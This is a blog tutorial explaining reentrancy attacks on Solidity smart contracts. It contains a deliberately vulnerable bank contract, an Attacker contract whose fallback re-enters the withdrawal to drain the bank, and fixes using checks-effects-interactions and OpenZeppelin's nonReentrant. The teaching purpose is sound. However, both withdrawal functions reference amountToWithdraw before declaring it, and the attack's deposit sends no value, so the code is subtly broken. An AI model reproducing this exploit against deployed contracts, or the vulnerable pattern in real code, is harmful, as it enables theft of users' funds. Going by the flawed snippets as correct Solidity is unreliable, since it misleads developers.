How to secure your smart contracts: Reentrancy attacks

tuzzy08

Sage

Posted on January 18, 2022

How to secure your smart contracts: Reentrancy attacks

It is important to have security at the back of your mind when programming smart contracts, when you consider that money could be at stake.
Multiple exchanges, DAO's have been hacked and millions of dollars in crypto assets stolen due to vulnerabilities in smart contracts.

To better understand this attack, lets explore what "Reentrancy" is as well as fallback functions in solidity.

Reentrancy is a concept in programming that allows for example a function execution to be interrupted and then re-executed before the previous execution cycle is completed such that you have multiple concurrent executions of the same function. Reentrancy in itself is not a vulnerability, the attack lies in the way this feature is exploited in solidity.

Fallback functions in solidity are functions that are executed when a call is made to the contract and no other function in the contract can handle this call because the signature doesn't match , an example is plain ether transfer to a contract. When the ether is sent to the contract, the fallback function of the contract(if any is specified) will be called if there is no receive ether function. More info here.
So this attack is based on the fact that by making a call to an external contract(such as when transferring ether) we can trigger unsolicited and untrusted code in that external contract(it's fallback function). Let us review a practical example.

Vulnerable contract

 contract VulnerableBank {
    mapping (address => uint) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdrawBalance() public {
        require(amountToWithdraw <= userBalances[msg.sender]);
        uint amountToWithdraw = userBalances[msg.sender];
        // At this point the fallback of the external contract is 
        // called. It can also re-enter this contract and call 
        // withdrawBalance function again        
        payable(msg.sender).call{value: amountToWithdraw}("");
        // Updating user's balance
        userBalances[msg.sender] = 0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns(uint) {
        return userBalances[_user];
    }
}
Enter fullscreen mode Exit fullscreen mode

The snippet above represents a vulnerable bank contract, that accepts deposits and withdrawals. Notice that the user's balance isn't updated till after the transfer. Let's exploit it..

contract Attacker {
    VulnerableBank _bank;

    constructor (address payable _vulnerableContractAddress) {
        _bank = VulnerableBank(_vulnerableContractAddress);
    }
    // Fallback function called when ether is transferred to this contract
    fallback() external payable {
        // When this contract receives ether, since there is no receive ether function this function is called
        // Here we can re-enter the calling contract's withdraw function again
        // before previous withdrawal was complete.
        _bank.withdrawBalance();
    }

    function deposit() public payable {
        _bank.deposit{value: msg.value}();
    }


    function robTheBank() public {
        // Make a deposit to ensure we have a balance
        this.deposit();
        // Initiate a withdrawal
        _bank.withdrawBalance();
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }


}
Enter fullscreen mode Exit fullscreen mode

How have we exploited it? Let's find out.

  • The withdraw function of the vulnerable contract is called(attacker should have some balance in the vulnerable contract) & the address is checked to ensure it has some balance.

  • A transfer is made to the attacker's contract and the contract's(attacker) fallback function is executed.

  • In The fallback function we re-enter the withdraw function of the vulnerable contract while the previous call is not completed and another transfer is made.
    This loop continues till the contract's treasury is empty of funds.

On June 17th 2016, The DAO was hacked and 3.6 million Ether ($50 Million) were stolen using this reentrancy attack.

Preventing Re-Entrancy Attacks.

One method of guarding against this attack is using the Checks-Effects-Interaction pattern. This means you should:

  1. First make any required checks(checking who called the function, are the arguments in range, did they send enough Ether, does the person have tokens, etc.).
  2. Next after necessary checks have all passed, make effects/changes to state variables(such as updating user balance etc,).
  3. Finally make any interactions to external contracts, note that external contracts may also call other external contracts.

Another way to prevent this attack is to use reentrancy guards from libraries like OpenZeppelin. It provides function modifiers like nonReentrant that prevents a contract from calling itself, directly or indirectly.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

// ...Other code here
    function withdrawBalance() public nonReentrant{
        // Make necessary Checks
        require(amountToWithdraw <= userBalances[msg.sender]);
        uint amountToWithdraw = userBalances[msg.sender];
        // Perform any changes/effects to state
        userBalances[msg.sender] = 0;
        // Make interaction with external contract        
        payable(msg.sender).call{value: amountToWithdraw}("");
     }
Enter fullscreen mode Exit fullscreen mode

It is very important to follow best practices when programming smart contracts t prevent avoidable financial losses.

💖 💪 🙅 🚩
tuzzy08
Sage

Posted on January 18, 2022

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related